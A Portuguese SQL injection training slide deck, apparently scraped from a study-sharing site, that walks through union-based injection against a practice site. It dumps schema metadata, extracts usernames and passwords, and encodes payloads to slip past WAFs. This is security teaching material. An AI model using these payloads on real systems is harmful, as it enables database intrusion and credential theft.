Buscar

SQLi Avançado

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 3, do total de 14 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 6, do total de 14 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes
Você viu 9, do total de 14 páginas

Faça como milhares de estudantes: teste grátis o Passei Direto

Esse e outros conteúdos desbloqueados

16 milhões de materiais de várias disciplinas

Impressão de materiais

Agora você pode testar o

Passei Direto grátis

Você também pode ser Premium ajudando estudantes

Prévia do material em texto

O que temos pra hoje?
Temas de Hoje:
• SQL Injection na mão
• Comando Básicos
• Principais Operadores Lógicos
• Principais Operadores de Comparação
• Principais Funções
• SQL Injection Avançado
• Detectando falha
• Descobrindo o numero de tabelas
• Procurando tabelas no Information_Schema
• Procurando colunas no Information_schema
• Coletando usuário, database, versão, pasta local do banco
• Efetuando ByPass de Firewall e WAF
www.eSecurity.com.br
SQL Injection avançado
www.eSecurity.com.br
Os comandos que você precisa saber para fazer SQL Injection são:
SELECT – Busca alguma informação do banco de dados e exibe;
INSERT – Insere informações do banco de dados;
DELETE – Apaga informações do banco de dados;
UPDATE – Atualiza, ou seja, sobrescreve uma nova informação.
As principais cláusulas, geralmente usadas com o SELECT, são:
FROM – Especifica a tabela de onde serão retiradas informações.
WHERE – Significa AONDE.
ORDER BY – Usado para ordenar algum resultado.
SQL Injection avançado
www.eSecurity.com.br
Os operadores lógicos são:
OR – Significa OU
AND – Significa E
NOT – Significa NÃO
Os principais operadores de comparação são:
< - Significa MENOR
> - Significa MAIOR
<> - Significa DIFERENTE
<= - Significa MENOR OU IGUAL
>= - Significa MAIOR OU IGUAL
= - Significa IGUAL
LIKE – Significa PARECIDO.
SQL Injection avançado
www.eSecurity.com.br
Antes de iniciarmos, devemos conhecer algumas funções do SQL.
Information_schema
É um banco de dados onde são armazenados o dicionário de todos os bancos de 
dados, tabelas e colunas de seu sistema.
Group_concat
Trás todos os resultados obtidos em uma linha, separado por virgulas
Union All
O objetivo do comando SQL UNION ALL é combinar os resultados de duas 
consultas. A diferença entre UNION ALL e UNION é que enquanto UNION apenas 
seleciona valores diferentes, UNION ALL seleciona todos os valores.
SQL Injection avançado
www.eSecurity.com.br
SQL Injection avançado - Alvo
http://testphp.vulnweb.com/artists.php?artist=1
www.eSecurity.com.br
Vamos começar com nosso alvo
http://testphp.vulnweb.com/artists.php?artist=1
Detectamos que nosso alvo possui falha de SQL Injection
http://testphp.vulnweb.com/artists.php?artist=1’
Veja o erro MySql:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in 
/hj/var/www/artists.php on line 62 
Veja o erro em MSSQL:
[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.titulo’ is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
Use o order by para detectar o número de tabelas
http://testphp.vulnweb.com/artists.php?artist=1 order by 1,2,3,4
Vá acrescentando os número sequencialmente, 1,2,3,4,5, até o erro aparecer.
Quando o erro aparecer, então significa que o número anterior é o número total de 
tabelas no banco de dados atual da página
SQL Injection avançado
www.eSecurity.com.br
Agora vamos identificar onde estão cada uma das tabelas
http://testphp.vulnweb.com/artists.php?artist=100 union all select 1,2,3
É importante setar um ID que não existe, assim ele irá identificar as tabelas com 
seus números correspondentes.
Selecionamos todas as tabelas existentes em nosso Information_Schema
http://testphp.vulnweb.com/artists.php?artist=100 union all select
1,2,group_concat(table_name) from information_schema.tables
Para facilitar, iremos buscar todas as tabelas do banco de dados em uso
http://testphp.vulnweb.com/artists.php?artist=100 union all select 
1,2,group_concat(table_name) from information_schema.tables where 
table_schema=database()
Encontramos a tabela Users, agora iremos buscar suas colunas
http://testphp.vulnweb.com/artists.php?artist=100 union all select 
1,2,group_concat(column_name) from information_schema.columns where 
table_name=‘users’
SQL Injection avançado
www.eSecurity.com.br
Com as colunas selecionadas, iremos efetuar a apresentação dos dados 
encontrados nas colunas uname e pass da tabela users
http://testphp.vulnweb.com/artists.php?artist=100 union all select 
1,2,concat(uname,0x3a,pass) from users
SQL Injection avançado
www.eSecurity.com.br
Coleta a versão do banco de dados
@@version
Coleta o nome do banco de dados atual
database()
Verifica o usuário que está conectado ao banco
Current_user()
Verifica a pasta onde o mysql está instalado
@@datadir
SQL Injection avançado
www.eSecurity.com.br
SQL Injection avançado
Codificando em hexa alguns caracteres
É importante codificar caracteres para efetuar by-pass em diversos firewalls e wafs
Seguem alguns exemplos:
%29 - )
%28 - (
%20 - Espaço
0x3a - :
www.eSecurity.com.br
SQL Injection avançado
Exemplos de uso
Concatenando diversas informações em um único form
CONCAT_WS(CHAR(32,58,32),user(),database(),version())
Para servidores que não aceitam espaços
union/**/all/**/select/**//**/1,2,CONCAT_WS(CHAR(32,58,32),database(),version())
—
Para servidores que não aceitam sinais (), espaços e afins
union%20all%20select%20%201%2C2%2CCONCAT_WS%28CHAR%2832%2C58
%2C32%29%2Cdatabase%28%29%2Cversion%28%29%29--
www.eSecurity.com.br
E-mail: alan.sanches@esecurity.com.br
Twitter: @esecuritybr e @desafiohacker
Skype: desafiohacker
Fanpage: www.facebook.com/academiahacker
printf ("\Chega por hoje\n");
www.eSecurity.com.br
www.eSecurity.com.br

Outros materiais